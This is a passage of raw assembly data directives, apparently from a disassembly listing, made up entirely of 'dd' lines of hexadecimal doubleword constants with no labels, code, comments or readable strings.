		dd 2EECAA1h, 64F16794h,	264B5402h, 9C5B69ECh, 2CB10004h
		dd 1B39FEDh, 0E1F8557Ah, 0E3DA7203h, 0F84B6981h, 143DDECh
		dd 1AF4BB76h, 806E09DFh, 77EE6540h, 46FFC34h, 2201C3D0h
		dd 3C098049h, 6A1C7E82h
		dd 20B0C826h, 14FE9A5Bh, 20DE8AB9h, 181EF0E1h, 5FFE10E2h
		dd 26710353h, 5A51BAh, 2A803BB9h, 0F7AD3C4h, 6ADC6E12h
		dd 2141FE0Ch, 2B780099h, 0A2354D6Ch, 63719A54h,	2EF42918h
		dd 19D92F9h, 8E8B07D9h,	0ECB20E7Fh, 360051C6h, 0A40CEAEEh
		dd 0E7847AAh, 4E6A55A9h, 839CC2EAh, 3CAFFE63h, 0B1779807h
		dd 1C89619h, 437B5AD3h,	8911806Dh, 0F2B9E980h, 0F04A0C6Eh
		dd 830896EAh, 88AE21C0h, 0D231E9h, 53BC7763h, 74CAD8D3h
		dd 7035DE0Ch, 3AF2299Ah, 790247BFh, 6617B155h, 0C91F3463h
		dd 9980958Dh, 44E07A2Dh, 0EACE2805h, 0C7E61CD5h, 6F45CD28h
		dd 89A5E849h, 0EA234100h, 0CC1F05D0h, 28C8CE31h, 2D0AD4Ah
		dd 3A4E71ECh, 0D4B08480h, 734855B3h, 8BC40004h,	0BADBBFFBh
		dd 0B61800D2h, 0E24A56EAh, 8F021F11h, 0E8969C1h, 0C94A0EBh
		dd 18119C4h, 2A36BD64h,	0D137AD6Dh, 0AA2180F4h,	1FFF1ABBh
		dd 726A0FC1h, 0AC35F665h, 0B1DBDE06h, 0BC837886h, 0C92C21ADh
		dd 0E564F819h, 0AFF3448Ch, 1E19C007h, 0E01FC39Ah, 0E0CD9E34h
		dd 647C3Ah, 0D0EE696Bh,	0D46FFBABh, 8A60BDE8h, 641E6368h
		dd 0F681C549h, 23682BC2h, 8B4100F9h, 8530F070h,	0F78A6600h
		dd 0C7A7F540h, 0AFE0A0F4h, 4DFE2871h, 925274B0h, 0CAF058h
		dd 80D1D695h, 7C53A273h, 2842AC01h, 0F7EF2E6Bh,	908A9980h
		dd 29F3BAEBh, 46EC40h, 0AF842CB5h, 0A7578DA8h, 4108B066h
		dd 0BD670021h, 0B714822Ch, 6EE6DF55h, 0A64DC609h, 4F6818EDh
		dd 34F48053h, 541139CCh, 899200EEh, 0C45044C1h,	8850ABDDh
		dd 3F26BFB5h, 8E1D1802h, 1F809C0h, 334FB92h, 26EAADC8h
		dd 60B8504Ah, 0FE14ED79h, 0A0EC45EFh, 149E78BEh, 0C862B6F8h
		dd 49EE2A73h, 1E8546F8h, 644819C8h, 40FFC4DDh, 7A19BFAEh
		dd 0EBC2090Bh, 78106735h, 8F31C7F4h, 3C25A806h,	0F7D3B88Ah
		dd 71B300C4h, 0EE39984Fh, 0D01D9CF6h, 841C6077h, 0DFD7F2C7h
		dd 600E28CCh, 0BB1569E4h, 0E10E18CBh, 0C29178F2h, 60ECD1CFh
		dd 80331F64h, 0C100807Ch, 57257189h, 932CA3FEh,	88ED9FB0h
		dd 6A1833D2h, 70D830A9h, 0CC4482B3h, 18B9F481h,	2BE6B8B4h
		dd 11F4B0AFh, 0BC660040h, 0A146802Ch, 0B5C13001h, 44775AECh
		dd 848F4899h, 8EF2A4E9h, 0AA208262h, 0FA2BE98Ch, 1E0C012Dh
		dd 99ABD255h, 45D84188h, 8029BF7Dh, 0D16AAEAFh,	0CE3CBEh
		dd 9054D7B2h, 2F339AC2h, 397AE406h, 310CD0h, 0B2C99D69h
		dd 99A9419Ch, 802C6E28h, 0DFAC30F9h, 0C37C4588h, 89ADA531h
		dd 36D15E88h, 632F0A01h, 3051BCE5h, 6967FE4h, 0B271B1CBh
		dd 0E8C44853h, 7E30437Dh, 0F221B7E9h, 86B0C05Eh, 641E69E9h
		dd 0A8802FC5h, 9E95FCDCh, 6299168Fh, 0BC380849h, 0C22A7EC0h
		dd 106A21D3h, 9B004891h, 68012B76h, 0D1C3E70Fh,	7DB3263h
		dd 0A53D31E0h, 0CC7E702Ch, 335094E6h, 4B42D684h, 0C1C1AB1Ah
		dd 608C8084h, 108019C3h, 0C837B564h, 0BA80BBF2h, 3205F51Ah
		dd 0D309B64Bh, 202DF3EEh, 0E7DFB00Ch, 2FB80165h, 51AC14E3h
		dd 0F4C0248Dh, 6F8F0900h, 96E987E0h, 4ACC1295h,	0B3E041A9h
		dd 3690CBB0h, 0B809F3ECh, 26627FBh, 0A80C536Dh,	0E7309D22h
		dd 0C4E54828h, 7D7F310h, 57F504E9h, 0C111C06Ah,	0C72A8380h
		dd 0F4392D3h, 981E4522h, 0EF412A7Bh, 6C1EE5FBh,	18D26C64h
		dd 7087B9DBh, 0DC001B7Ch, 4EBBBC76h, 23CE57h, 0C1B27063h
		dd 0E69B3CAh, 27C84850h, 3C0AE39h, 0D1BBD48Ah, 7D403D89h
		dd 0AC2BF215h, 6B5FED00h, 27CEEB5Eh, 0B20976FEh, 900F8AC3h
		dd 724D618h, 1A4D081Bh,	8E7DE46Ch, 0C17D88C8h, 3156D3F9h
		dd 29809108h, 2CB74601h, 36D8AF7Eh, 163A2208h, 802CBF6Dh
		dd 1205EADCh, 0A06AAF04h, 6CC0F08Bh, 16BC387h, 0D042637Eh
		dd 0C46DF6D1h, 9C162437h, 540E482Bh, 6809B03Ah,	9CACFBA8h
		dd 0F343BC88h, 0A30B32Ch, 4444B8AFh, 0BB805C42h, 0FF0E0F2Ch
		dd 0DB1B00E1h, 86FEA0BCh, 0FD008E94h, 9E790973h, 5451CD1Eh
		dd 56AE84Ch, 4BF8F078h,	2341C02Bh, 9700FA0Bh, 0C23A95B1h
		dd 0B1E30F1Bh, 80A61C00h, 0DBC3E22Ah, 0EE7470C4h, 21D40F73h
		dd 583D1F09h, 807D0200h, 0C04951BBh, 127CF969h,	2E00D275h
		dd 5DC6CBC4h, 187965Bh,	0EA7F0317h, 0C21EEDB1h,	8081C0C8h
		dd 23505649h, 2A7F01BDh, 3372D3C3h, 779C8110h, 35E0752Bh
		dd 0C107E962h, 292CD878h, 92810AC4h, 0E900B856h, 2663DCE4h
		dd 64464808h, 89F984h, 0B11EE8EBh, 6015EA3Ch, 79AF411Fh
		dd 30814D8Ah, 0B00C2420h, 0E6861430h, 0DA0354F3h, 43B5FBE3h
		dd 0D778780Bh, 2904A137h, 0F857CA81h, 0BE4F15D0h, 0EFFCF562h
		dd 8F710197h, 0BBD1C9CFh, 0CE898011h, 2E87E1F4h, 185774B1h
		dd 705ACADFh, 888A54F1h, 651E5CA0h, 8004BBCh, 0BEA1B17Ch
		dd 0F470C058h, 81A841D7h, 5C5E557Ch, 0C2266CB8h, 0A701DC3Ch
		dd 3E0EC59Fh, 6FD8F2BAh, 55C90EAh, 3FF70480h, 0ABA84E47h
		dd 651C84F5h, 1827DA06h, 3000ACE4h, 0BBB53ED2h,	3DB4103Dh
		dd 0C7816C87h, 7D6D01BCh, 759120AFh, 0ED3DB114h, 0E8884098h
		dd 0A45953h, 0CB545630h, 38A76CD8h, 0AB14D54Eh,	2A00D0BDh
		dd 2675D2CEh, 6B28FE65h, 0FF454C55h, 30888002h,	841119C7h
		dd 0F288D564h, 19BEB180h, 9C7A32h, 0BB63830Ah, 65E86DD4h
		dd 83FB58C8h, 4FE3EF1Dh, 0E4207060h, 4C35E7C9h,	0CF804C68h
		dd 0CB4844A0h, 51DB290Ah, 0B404E09Ah, 94D281BBh, 46BCC42Dh
		dd 0E97D027Ch, 3166F2B6h, 85AF107Fh, 0D68000E9h, 1F1A7CA2h
		dd 0AC924DDCh, 8C457624h, 37551440h, 7470EE16h,	1E6D79B9h
		dd 0E675654Fh, 0F2BF0840h, 0CEC1B664h, 4036E0AFh, 6C013B22h
		dd 148C2CBEh, 87FCF4BBh, 18B4B803h, 71774484h, 690097DAh
		dd 142F75Fh, 16DDD44Eh,	4AF5370h, 0B47E9158h, 3040C810h
		dd 0E3950273h, 0E20F9B5Ch, 0B0686B20h, 3B6A00C0h, 9C276652h
		dd 10055ADCh, 0AC1942D9h, 44769804h, 0B4E98330h, 5496F22Eh
		dd 8BA970h, 0E3B4ABE9h,	51E4442Dh, 0C8C5DB2Ah, 101E5726h
		dd 0BF480449h, 0C92A8560h, 16A2D327h, 7D960390h, 0E2A9432Ah
		dd 89BFD980h, 8C1F041Eh, 0A67B50B0h, 5A11092Ch,	0C031ABh
		dd 0B0B68CDh, 0A62681B2h, 5A9215Ch, 0E3F9D269h,	10E8C129h
		dd 9804046Ah, 0FCA44D70h, 45994069h, 9F397160h,	128C8A7Eh
		dd 82E96B1Dh, 5C015398h, 0E987BDDBh, 832A2963h,	10736BADh
		dd 3BD02618h, 649B5B28h, 0E1BB4AE4h, 82E0F890h,	38D98B76h
		dd 9034F050h, 0AFA371h,	0A2BFF6B8h, 25557B93h, 82C53B17h
		dd 5AFEC804h, 0BC3D6743h, 43203C8Dh, 0AF04A146h, 43E0681h
		dd 0ECC9CF78h, 66F7FC40h, 0F4A40014h, 4F6C8D1Ah, 18984125h
		dd 2CB1E505h, 0A4415253h, 81B76819h, 0D79FD43Dh, 233C4B20h
		dd 7B405F80h, 1DFCDDCEh, 43A6AD0Fh, 58C30082h, 171EA73h
		dd 21CDFA32h, 0D4FE86FDh, 0E1026E19h, 0B591F018h, 0D46340E4h
		dd 112A0093h, 723E039Fh, 0DF3C17C2h, 0B9AF0328h, 0D899BD24h
		dd 1E190Dh, 0F7F95329h,	1463BB6h, 7FA29D00h, 7E4E358Ch
		dd 82D9000Ah, 4CF6D5D6h, 31006B80h, 0CE6D0BCCh,	4DD40ABh
		dd 259B93A5h, 0AB80FFA1h, 940F49h, 0BD69B821h, 4612D2E4h
		dd 0F5D8421Eh, 17007A7Ch, 0C2A44E48h, 3A408510h, 0B2BB8257h
		dd 87A17200h, 0EE139946h, 0D674E700h, 2CDACB2Eh, 52F0003h
		dd 0EAE9D728h, 58013209h, 689CC2B9h, 9EF0190Ch,	146E03A1h
		dd 0EBBF0216h, 0B0689DDAh
		dd 13003F62h, 35D86659h, 1824CA70h, 1175EA20h, 180023CDh
		dd 0C0ABA438h, 1462250h, 8A746909h, 80B3905Ch, 0BE140C78h
		dd 806B20FCh, 0FB00E7B1h, 2CF69725h, 0FF37A5FEh, 6007EC52h
		dd 0CFDC0EA8h, 2803260h, 0D624E2EAh, 1ADBCD00h,	397599E4h
		dd 9650005Ah, 0B20F3AB9h, 1E0E4EC6h, 0C08BF82Eh, 75339E1Bh
		dd 8F2207B7h, 0C06D62F3h, 1D42C8DAh, 0C648C400h, 1CA4198h
		dd 0AB231DD8h, 8557C14Fh, 0C0CDAF09h, 0EB005073h, 0C7B3545Eh
		dd 0A0B634h, 0C30608DDh, 4F62D190h, 0A57C59F4h,	1BF46700h
		dd 61177036h, 0EF75001Ch, 0ADFA050Eh, 0FC00823Ch, 7A01A732h
		dd 281DDFAFh, 18C514Dh,	1AC9B0F4h, 0D8119941h, 26028C40h
		dd 685CE875h, 0C3084194h, 4C4EEEE0h, 59091161h,	68A0DD41h
		dd 0CD2B06A0h, 7B678901h, 0A481E09Bh, 1D077CECh, 0F4A647h
		dd 83D75AC5h, 5C000308h, 26BF91DDh, 47C844h, 79C2190Fh
		dd 0E759369Ah, 10DDCC1Ch, 0F2DB2880h, 0F16D05Ah, 309172B8h
		dd 8B35C900h, 0D7C6B9Ah, 82B43307h, 0E5109470h,	9005D2h
		dd 4B5BF376h, 0A83B29D4h, 9BDFE8A8h, 0BB655D00h, 3FD17942h
		dd 33E4259Ch, 0C9005A74h, 55B12D57h, 3BA600D6h,	401D6284h
		dd 9A14DC3Ah, 9CF81560h, 885F28CCh, 573F9h, 212B4146h
		dd 9A521DEFh, 0DDEAA300h, 4E64A4F4h, 2F0E00BDh,	0E2D839B3h
		dd 3C90C522h, 20274326h, 0E5199880h, 52E2BB5h, 3058544h
		dd 809C1D5Ah, 0C6FB066Bh, 94000EE5h, 115136Dh, 1117293h
		dd 0C7397FDh, 24678E4Ch, 0D00D998h, 0DEA95D57h,	22BDD09h
		dd 85A3283Ah, 9448FB70h, 7B002157h, 939D6EC0h, 4BAF8Bh
		dd 98A2E316h, 50230C6Fh, 2D178F01h, 0E4BAD058h,	49D4E1E5h
		dd 38310080h, 1F9E1C0Ah, 5500D9FDh, 4BFFA0F9h, 3150FDDh
		dd 5BBE3AA7h, 0CDF0E516h, 0B1000847h, 1CC7FACEh, 0B781A9h
		dd 90A2C63Bh, 3AA48E44h, 6D73BA00h, 4FF3EA70h, 18090069h
		dd 2AA24271h, 6E0007EFh, 0ABE34CD6h, 31ECDh, 4614B6A7h
		dd 0EDFE0B6Dh, 5F6220E4h, 40F20FB8h, 0F7B29F3h,	0E552A98Dh
		dd 90DC8965h, 9FC58578h, 0F93B3Bh, 0FF2A25B7h, 10EE9Ah
		dd 0A5A12DAAh, 0DD8DDF2Eh, 47BBF100h, 0EBC7A631h, 0CCFD12C5h
		dd 0FA8303B8h, 18033085h, 0F10A93DDh, 0C0115A7Eh, 0AB22C128h
		dd 78336E03h, 0D864851Bh, 16BC2EECh, 0A0E5EBh, 4AADE62Ch
		dd 9D0FA562h, 402326B6h, 883A2E1Bh, 92803A74h, 0FA0ABF00h
		dd 56438C4h, 0EAE41C1Ch, 0A8289F80h, 0E54675h, 2154C2B0h
		dd 8792E91Fh, 996A7101h, 0B9CA5F62h, 2114C64h, 0A9F2E77Fh
		dd 40FF94h, 5A1701F0h, 7D00140Fh, 8C876558h, 7B4F0138h
		dd 434ED1F7h, 145A2091h, 5C18AD77h, 0F226AE3Bh,	394B0049h
		dd 0B19B28A9h, 0B36035F6h, 0EBD6C918h, 0E6CB0463h, 83C05ACCh
		dd 0E0A2F634h, 74A3AEE2h, 0FCE8611Ch, 0C6003726h, 412F865Fh
		dd 0FD28C5h, 0F6931EC2h, 0A6D4079h, 441E9971h, 0E40025A5h
		dd 65639688h, 32C00002h, 0FDA96D69h, 0AF38D93Ch, 358D00CEh
		dd 6580E0FEh, 727D76h, 2524B88Eh, 0ADA13721h, 2804C30Eh
		dd 0ED584019h, 5618BCh,	77EA8809h, 9FC942D7h, 7D806200h
		dd 3F69BA32h, 345300BCh, 25E6C1ABh, 2A006DADh, 21B5EC76h
		dd 0B0ED8D38h, 0A2701C06h, 8208003Ch, 7DEC958Ah, 6678B000h
		dd 0CDCB3593h, 72AC0EA1h, 73401B48h, 0D021C192h, 9AD4BE00h
		dd 6E433861h, 0CFD21E8Ch, 0A29E4096h, 2B148052h, 0BC15A100h
		dd 0FBE5200Dh, 95C405FDh, 843C60AEh, 93808044h,	0D8028A4Fh
		dd 0F2BBEEDDh, 447040ECh, 0FDC600A8h, 17D060F7h, 0BFE5CC2h
		dd 0A51B58C0h, 0FEF4DC7h, 85BD20CBh, 0A6DA3FA0h, 0D0001D94h
		dd 9197D524h, 86A1C7h, 0FB6FBC5Dh, 107CFCA8h, 5E1DC300h
		dd 49B860B9h, 0E3DF0084h, 55F9CB76h, 9099DC6Fh,	1E853B03h
		dd 2263A850h, 44A701AAh, 0EBC6C97Fh, 0C2D4Bh, 28D6B691h
		dd 2B318A6h, 19D0BF89h,	40C09B44h, 0B900C48Eh, 16A42912h
		dd 90B627BDh, 0A7353F4Bh, 0BA0080DCh, 9E2B10B3h, 0D02BEACh
		dd 0DC4B6579h, 7B0850E8h, 57272E26h, 183487D4h,	4A46D0B6h
		dd 292ED1B8h, 0D4032CA3h, 0A0BC102Ah, 0A12B6D08h, 0F0EDDA18h
		dd 2E74F208h, 8763C401h, 56F4EE3Eh, 172D6BF0h, 808B8E57h
		dd 378D6568h, 7CF0A93Ah, 22BC830Ch, 15C5153h, 18F2BA0Fh
		dd 0FCC3FDB0h, 8E0208B1h, 0EB4FAF86h, 265CD215h, 57A2FA9h
		dd 87C61062h, 0DBC241B1h, 456C40EAh, 1E0035A6h,	4C44C557h
		dd 1749BCAh, 42C29FDEh,	0DC2EEB2Ch, 0CB01CD06h,	32E08859h
		dd 28EC4D8Dh, 6D600086h, 0BA452AB3h, 38018EB7h,	49E6DE72h
		dd 98FCFFBDh, 16800DAh,	636C9C99h, 0F5000E90h, 4B882F6Dh
		dd 0E6594FA9h, 0D4440095h, 6F43B4D1h, 0BDF2DE8Fh, 470AA100h
		dd 9B8096BEh, 7F55037Eh, 0E1A0653h, 0C9BFC1B0h,	8E457913h
		dd 447A5047h, 0C514EB1Bh, 5215046Eh, 6300A098h,	0BB807BFCh
		dd 661C9D0Eh, 83CFED5Dh, 98D81CC2h, 7331FAh, 3CE10D3Ah
		dd 598D3EC7h, 0D821AE00h, 0A4F5D22Fh, 14710008h, 0DE516B53h
		dd 721F3E0Eh, 3F9D682h,	0ED7B396Ch, 15C6B84Ch, 0C4F000FEh
		dd 5279FCD1h, 7F008FD0h, 1F113B30h, 5C38EF0Ah, 16018CB9h
		dd 4BF76440h, 0D4E86479h, 7CFB6600h, 0FF4D1E6Fh, 83BD1609h
		dd 30D44010h, 0C4489BE6h, 0CC1A513Eh, 65930096h, 0B18B3920h
		dd 1C280627h, 51D1040Fh, 135C6C73h, 2672050Ch, 88C3B4B9h
		dd 0EDA1B01Bh, 5F985Bh,	0D4364010h, 71585DF1h, 0F006CC0Bh
		dd 297603C9h, 9481EE6h,	0EED113B0h, 6E92A600h, 738962DEh
		dd 0FF590034h, 31BFF2B6h, 830042D4h, 272CDFD8h,	1813BEB1h
		dd 0C0CC68E2h, 0C80B5EEBh, 87F17DC0h, 80685DC4h, 6A649B81h
		dd 822E47BCh, 3039A4CCh, 2914F953h, 80AA0EA0h, 60C9D51Dh
		dd 7C1D8452h, 0A780619Bh, 887FCBA1h, 62640797h,	70C0BAA4h
		dd 5C688085h, 0B3C1A201h, 0F5D2E30h, 9E48E0h, 7A9267E0h
		dd 0B6D586FFh, 87324500h, 0BBF61A61h, 39D400CFh, 93ACC93Eh
		dd 2AF42694h, 1D00E8FCh, 87F62079h, 174148C7h, 60BF1F23h
		dd 2C7F7464h, 0ED0B3D00h, 0C912977Eh, 92DC0A1Fh, 0DCA23Eh
		dd 236496CEh, 0F502814Ch, 159CC359h, 6C5898h, 7B6E3F2Ah
		dd 9E0D4AACh, 0E3A7F905h, 6490361Bh, 3452F26h, 2ACC25BBh
		dd 0EBD0F64Eh, 181E3AA5h, 0D8408EEFh, 9F7EFA61h, 30DB00DEh
		dd 0A98591D1h, 0EC1D0F36h, 0E017B39Bh, 1780200h, 1A3AD4Dh
		dd 0E26343CBh, 0F8501FFFh, 0D8076BBBh, 0B8597109h, 17EC41F9h
		dd 8FC030h, 0BCFB1B6Ah,	0D12FDADDh, 0A9004490h,	8E3F6E78h
		dd 2121F04h, 97EA0EDCh,	2448477Ch, 9BFE95E3h, 806E3E3Dh
		dd 259E046h, 2AE48387h,	2F858CAh, 0D4E3BEF8h, 6448CE05h
		dd 0B4184084h, 8F11AC28h, 615F0096h, 0E87CABFFh, 91FE500Fh
		dd 0CD301A3Ah, 0B9A30004h, 6AF6BB32h, 4B73EFh, 277A4901h
		dd 8DABD358h, 4518D8B0h, 9779BB30h, 9F6F0260h, 82D727A2h
		dd 11C0E8C4h, 0DB422581h, 7DAB3EA0h, 0FE008459h, 3656067Eh
		dd 8CF0294Ah, 4360182Ch, 0EDC6803Bh, 59A48578h,	0EE447h
		dd 222041ADh, 0DD68F5CFh, 1FB6E300h, 97E610BAh,	187FE77h
		dd 114EB09Ch, 0CCC0F709h, 0A91FA834h, 78750FAh,	84D0D6BCh
		dd 896365h, 738F5D8Ah, 485BFE18h, 0F40B6B00h, 0C11A72DAh
		dd 17990145h, 9EDE3D90h, 5548209Ch, 4740A894h, 0FA45D72h
		dd 15FDC5F3h, 3B746100h
		dd 0BB8F2C8h, 0A94E6806h, 76040DAh, 0E2939279h,	132910CFh
		dd 0EA17D006h, 940041A9h, 126B37D8h, 75D70E7Fh,	19E9177h
		dd 5EC3EBDh, 6311C008h,	0E83C807Fh, 8DDE80FBh, 0D823DDD6h
		dd 0A25B3991h, 87DB111Ch, 82D1A678h, 0F4494B98h, 3D7A20ADh
		dd 0D5B9720Ah, 0C100A034h, 3AFAD9D4h, 0B2670038h, 8049B151h
		dd 61394B75h, 4D6083AFh, 0C3029436h, 39D1F8E9h,	0B0779FBh
		dd 0B3CBD553h, 0C0AA9887h, 0E345FDE0h, 0F4325Dh, 6F6C741Bh
		dd 5CF6EBh, 8C93B023h, 3C4590C7h, 0AFAA8500h, 3BD2FE10h
		dd 8AD40075h, 0E948DFB0h, 1B000741h, 62575EDEh,	143CCE5Fh
		dd 9C9F802Dh, 0A6E6438Eh, 54A1F423h, 0A7C828ABh, 34DF0DF0h
		dd 6711C0C2h, 776F4C6Ah, 0A3D96209h, 0F358214Fh, 0B7F146BDh
		dd 0A0067C64h, 3DA94h, 1FAB338Eh, 8DDF757Ch, 5E93BF06h
		dd 0C87BE9h, 6B9BAF49h,	2097EC1Ah, 2EEE400h, 6A39F0DAh
		dd 0BFB21E2Ah, 0B6FAC04Ch, 0FC4BE3EDh, 0D731A800h, 71D99452h
		dd 0E6441CBFh, 63EC00Bh, 8A9B01AEh, 4A639C07h, 0FED03275h
		dd 74876CFFh, 20CE00EFh, 289B27B4h, 0BA003A76h,	0E8E21C05h
		dd 0A06DBC26h, 0ED5681h, 0B56A0902h, 39677641h,	19BE9400h
		dd 0F5D68762h, 0F28F1724h, 3BEC0007h, 4FCEA9Ah,	925A2800h
		dd 34F15246h, 70B600CAh, 0E43D47C9h, 2A601138h,	13EF4D70h
		dd 8124916Ah, 0CF1B04D9h, 5960F4D5h, 760330F4h,	0C93937A2h
		dd 0AA4AB858h, 0E1100033h, 3CBC9AD1h, 0C31DC50Bh, 0FD80A0A1h
		dd 1CB2766Dh, 7737061h,	9C529378h, 0F27E3037h, 0F40068A7h
		dd 80CA5675h, 0E11BB4h,	2C1EFBCCh, 47701A9Fh, 3EC0F607h
		dd 0C7301927h, 1F5F8B0h, 0C3145B4Dh, 0C4E4601Fh, 84000436h
		dd 4046E76Bh, 0AE5577h,	6AD3E5C0h, 3F71AF0Fh, 0E1AB3E03h
		dd 83F6C10Dh, 482FB0EBh, 2849A4Fh, 960C852Dh, 0C440502Eh
		dd 8912F0F3h, 0B48A2980h, 95FF8FF0h, 75007894h,	0E4C58E37h
		dd 0A510C85Ah, 216CC10Ch, 0E5F095h, 83367E18h, 2F3A23B9h
		dd 590B5Ch, 102B6DF8h, 0DC6893h, 3081E8DBh, 41054597h
		dd 5F0075ECh, 0EB0E1C48h, 0A5EDEAh, 0A77836B3h,	81574947h
		dd 0EE25E37Ch, 10B0482Ah, 0E8DC788Eh, 0B8926Eh,	0F012D9C6h
		dd 924A46F2h, 6A876CBCh, 80DBAFF1h, 0BB1052DCh,	6D0712D4h
		dd 0E700C82Ah, 0F4014E81h, 0F2BAD01Eh, 2AA7F814h, 18007130h
		dd 377D6F2Bh, 0DA4482h,	3D571E3Ah, 0C8C3DE79h, 7D60C894h
		dd 3C8774h, 272F4073h, 60F1354Dh, 0EBFF8200h, 0CA92449h
		dd 33B3015Ah, 94AC8E51h, 2250F025h, 0A43A753Fh,	1800A991h
		dd 8630A1A6h, 5D16002Ch, 396A49CBh, 1B03898Ah, 0D193612Ah
		dd 59DBA082h, 0F0FC0077h, 0B50A27E5h, 31005A9Bh, 0D4305004h
		dd 681479h, 8EC58797h, 9C35AFBBh, 442B4301h, 61460932h
		dd 77482F0h, 367F3476h,	1D0881B4h, 7844D843h, 0FC0E84A8h
		dd 0F39D3200h, 9E9729A6h, 2D401292h, 6EA8B030h,	2372388h
		dd 82AA077Ch, 0ECE8E50Fh, 0D40E4349h, 1301564h,	19EAB414h
		dd 2081D371h, 80C52CA7h, 0E594F076h, 23B03Eh, 2E6C4427h
		dd 7CD8596h, 47A819F4h,	0F205B020h, 2FF009F3h, 6C8780Bh
		dd 0F73300DEh, 3BA2586Dh, 4E93F43Eh, 4504A4B4h,	9BA17460h
		dd 660539h, 88D1B719h, 18B006AAh, 0FADB9D00h, 2AE4E96Dh
		dd 1757716Bh, 0EB24B1h,	0DE688D7Bh, 19747135h, 514A257Fh
		dd 664EB0D0h, 6E61580Bh, 0EA7E13h, 843197E6h, 62030216h
		dd 88AA199h, 8F8EF86Dh,	78275F6h, 2BA27547h, 0E2998090h
		dd 0F301FC80h, 8D13D279h, 0A9E07F78h, 0BD435C54h, 0F8A45503h
		dd 8764D0Ah, 5CCC21C0h,	0FAF942h, 9074A15h, 3E6F8205h
		dd 0EC89EB07h, 0B993CF8Fh, 0FC85B9ABh, 92383FEBh, 0F768480Ch
		dd 65985C11h, 0CD70D803h, 3079842Dh, 3C21E409h,	3100CCD9h
		dd 126019A0h, 1B6879h, 0EBDFDB6Bh, 0BA89070Bh, 99F3E503h
		dd 0E1FBE98Ah, 71808371h, 584C1E9Fh, 0AD388808h, 838338Dh
		dd 0C5210395h, 516C4C25h, 0BE8E72A1h, 637E03D8h, 0D0186D40h
		dd 1B7941AEh, 0C8B6C115h, 145C023h, 70D9CCE2h, 39000ED5h
		dd 85C4CCDAh, 2C60011Ah, 0B1157740h, 6F50C0BAh,	3C746549h
		dd 0E8F03E00h, 0BB3DF229h, 0F3A20092h, 321C9A70h, 41093536h
		dd 8029D37Ah, 91F13E5Dh, 0B44A003Ch, 16B37F73h,	4800CF70h
		dd 4FC471DAh, 3D2E8980h, 0F607750Ah, 0A104BFE8h, 0A84BD18Bh
		dd 0EC006D62h, 0DF29FF59h, 98DB18h, 0E7D5149Ah,	79CCA3CAh
		dd 958A7D00h, 51A4EA69h, 6C47001Ah, 0DE3139B8h,	0D9F4FD0Eh
		dd 7D19DC5Ch, 0AD3ABF7Bh, 0B487002Eh, 9EC6E10Dh, 634B06A3h
		dd 8FBACB9h, 6B213B60h,	29C6EAh, 357E66A0h, 0B777BD74h
		dd 9434A400h, 60B93DCCh, 0AF44304Eh, 703BEA18h,	38FD840h
		dd 1DBF2C9Dh, 86D37AB4h, 67C02DA3h, 0E170ED94h,	0BB094006h
		dd 30087808h, 4220B573h, 8406ED9Ch, 9E4C4580h, 0E4241071h
		dd 39C20465h, 2D0D9CECh, 889730A9h, 8A206D60h, 3170CE8h
		dd 0C1D8B778h, 0AF80FDF4h, 2D0C2A81h, 39B29FEFh, 7B7500D4h
		dd 1B694A2Fh, 9CC3184h,	77421DFh, 86A47B7Dh, 207070A2h
		dd 49E0E95Dh, 77B38415h, 488A06A8h, 700FE4h, 0A79E7FA6h
		dd 0F957F5BEh, 0F78B6800h, 0A25399E2h, 2388002Dh, 5DB903C4h
		dd 31046F0Fh, 6A7C9C90h, 491DF5ACh, 4FF40063h, 0D0288CA7h
		dd 9CCE2F1Eh, 6752EE40h, 58E3A4h, 0EF695FF6h, 0BC176C97h
		dd 74D4F800h, 0C763DA71h, 6BE8005Eh, 1CE45C89h,	3079D6Ah
		dd 0EFB0D112h, 0B5991620h, 68EB0049h, 747AC6D8h, 0CC2E70ACh
		dd 8C00ADBCh, 8905E7EDh, 0F41B6F1h, 1DE241h, 1FB0FD99h
		dd 9E004BF9h, 707E9306h, 0C2FF3685h, 807FE118h,	2DE9B600h
		dd 33BF0EDFh, 79A14B65h, 80FCB056h, 51926D81h, 0C06195E2h
		dd 5E88350h, 60F1393h, 98D15AEh, 60CF8F59h, 7F5EB581h
		dd 85160014h, 11AF9144h, 0B21D952Fh, 0CF000B4Eh, 335C49F3h
		dd 94D80090h, 0BA233DAAh, 0B00F648Eh, 7817011Dh, 1D72A8B1h
		dd 983529C5h, 6016D092h, 0E911ED00h, 98EB442Fh,	0F883E7C1h
		dd 7370743Fh, 0A1B3114h, 17680060h, 8EEE88C1h, 0FFAD0397h
		dd 0FE7C9181h, 0CB0E2000h, 0FC8915A7h, 98BA30ABh, 34705C68h
		dd 0E05ACC03h, 80AC0D5Eh, 2450D093h, 0C12135h, 7D586632h
		dd 0B107751Eh, 3E2B4E6Bh, 63C1D760h, 90F30E83h,	9580281Dh
		dd 9C77ACDAh, 8F6A0200h, 1054F731h, 0FCC1035Bh,	0FA7832A6h
		dd 191DE0C7h, 0AD03590Bh, 0C2478F66h, 0B3C0E5ECh, 6036AE96h
		dd 0EE5230D8h, 7D0345A3h, 0B30A4147h, 0E6083397h, 0A3A8F821h
		dd 0CF007CE9h, 35EB90A7h, 419210EDh, 4650BBECh,	41A4047Dh
		dd 3240E77Dh, 0EAF420E9h, 4B06B2A3h, 0E4AC0BA0h, 0B9840019h
		dd 7A9B7CBBh, 0BE58F8DAh, 7D4C3B6Eh, 7E6FCC0Fh,	0E91F8042h
		dd 1D48E728h, 0CCBE563Bh, 0D8F9D6E2h, 36B57C00h, 3D0B1C9h
		dd 5DE71E29h, 5BD106EFh, 34061021h, 0B04E538h, 6FC0130h
		dd 8B9C15ADh, 23E1F8AEh, 0FF08F766h, 0E7495021h, 461C3B38h
		dd 0C8400073h, 7F653D2Ch, 186EDAAEh, 7977E180h,	0B050ED29h
		dd 603C80FFh, 1B7D108Ah, 4C00980Ch, 63BD82B8h, 1D1A21h
		dd 0ABAE03AAh, 483681A7h, 0B3019203h, 0D376B243h, 870B8041h
		dd 6610012h, 0AAADEE65h, 810018BFh, 8D3E39D3h, 3D24759Bh
		dd 0A787C8ABh, 70E44219h, 1C0A01F5h, 272EEB07h,	8A21C982h
		dd 61D8623Ch, 0A5FCEBE9h
		dd 0AA6E0028h, 8910905h, 71021FA8h, 8EFF1BACh, 7280609Fh
		dd 0DD3395Ch, 6CAA580h,	0D5A2BC35h, 5D03947Ch, 0E58B34F5h
		dd 0D0EBA34Fh, 0FA6E069h, 0C2FBA211h, 0A3AD1F20h, 0AF005807h
